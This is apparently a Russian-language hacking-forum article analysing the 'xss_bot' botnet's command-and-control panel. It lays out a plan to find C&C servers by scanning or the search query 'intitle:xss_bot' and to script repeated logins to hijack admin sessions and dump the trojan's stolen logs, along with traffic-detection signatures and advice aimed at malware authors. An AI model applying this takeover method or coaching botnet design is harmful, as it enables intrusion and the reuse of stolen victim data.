Так-же здесь я должен вернуться к Уязвимости #1 связанную с обходом авторизации, т.к. она была ограничена временным окном из-за чего её эксплуатировать в боевых реалиях было практически невозможно, но мы теперь найдя эти сигнатуры для детекта C&C в интернете, можем так-же как и ИБ компании сканить всю сеть, находить IP и домены где размещён C&C и далее мы можем написать софт который будет пытаться авторизовываться раз в 3 секунды на каждом из С&C что мы нашли в интернете (а мы найдём рано или позно их все) и тем самым как только на каждом из C&C будет админом добавляться новый пользователь, будет создаваться нулевая сессия по которой наш скрипт будет автоматически входить и создавать своего пользователя чтобы закрепиться в админке, а далее к примеру можно сливать логи трояна ну и проводить разную другую грязь. Тем самым не юзабельная уязвимость с помощью этой техники становится критической.

Так-же стоит упомянуть что если просто перейти на корневой URL evil.com/ где расположен C&C, то нам выдаст index.html где есть нетёртый тег <title>xss_bot<title> и вообще отсутствует robots.txt с правилами блокирования индексирования для поисковиков, из-за этого домены многих C&C будут появляться в поисковиках, как только этот домен появится где либо на другом сайте. И тем самым мы сможем находить с помощью Google Hacking техник вбивая в поиск строки аля “intitle:xss_bot” все домены C&C которые были проиндексированы поисковиками. Этот ещё один серьёзный секьюрити факап делает сбор доменов/IP на которых размещены C&C ещё легче, нам теперь не нужно даже сканить всю сеть, а просто забить в поисковики нужный запрос. Так-же это тоже является сигнатурой для Threat Intelligence систем.

Детект шифрованного трафика коммуникации между трояном и C&C

Авторы ботнета реализовали свой кастомный протокол обмена данными поверх HTTP. Алгоритм протокола если на пальцах то работает так - троян при запуске на машине начинает пинговать админку (C&C) отправляя HTTP POST запросы на урлы пример которых я привёл выше, и кладёт полезную нагрузку которую отправляет в C&C в POST параметре с ключём data, сама полезная нагрузка шифруется RC4, это сделано для того чтобы нельзя было повесить сигнатуру на шифрованный текст, далее добавляет в перёд шифрованного текста 32 символьный ключ для расшифровки и кодирует это всё вместе в base64, это он уже делает для маскировки трафика.

Сама по себе задумка авторов ясна и я считаю это нормальной реализацией если задача стоит только избавиться от детекта трафика, но реализована она только на половину, потому что все те сигнатуры которые я описал выше остаются и их тоже могут и будут использовать для детекта вредоносного трафика уже в сети компании как обычные АВ так и IPS решения и им будет абсолютно пофиг на то что сам пейлоад шифрован. Из-за этих недостатков этой реализации она сама себя умножает на ноль. Вот линк на видос что я сейчас нашёл где это хорошо объясняет как я понял человек который как раз является разработчиком касперского и пишет такие решения


или же можно просто погуглить “детект шифрованного трафика”.

Вывод: не достаточно просто кастомно шифровать полезную нагрузку, может это и было достаточно лет 10 назад, но не сейчас.

Подытожим

Финальный вопрос, бэкдор ли?

- На самом деле это всё очень похоже на заложенный в исходник бэкдор, в идеальном месте который практически невозможно найти блекбоксом, так-же в админке отсуствует robots.txt и присуствует уникальный title в HTMLе который всегда отдаётся если просто перейти по домену, в итоге все эти недостатки можно использовать в комбинации для поиска доменов админок прямо в гугле и сразу же захватывать сервера с помощью заложенного бэкдора и сливать логи, тут даже не нужно сканить весь интернет чтобы найти IP на которых поднят этот ботнет и в дальнейшем эксплуатировать его. Но фиг его знает, в любом случае надеюсь сообщество узнало не мало полезной инфы из этой статьи. Ну и авторы ботнета не воспринимайте эту статью на свой личный счёт, воспринимайте её как хороший опыт.

Думаю я напишу ещё статью, если успею к концу конкурса где рассмотрю вопросы грамотного кодинга и проектирования C&C в блековских реалиях. Потому что практически все кодеры что я встречал в блеке не понимаю что большинство практик которые они юзают в вайте практически не применимы в блеке, это абсолютно два разных мира.
 
Верх Низ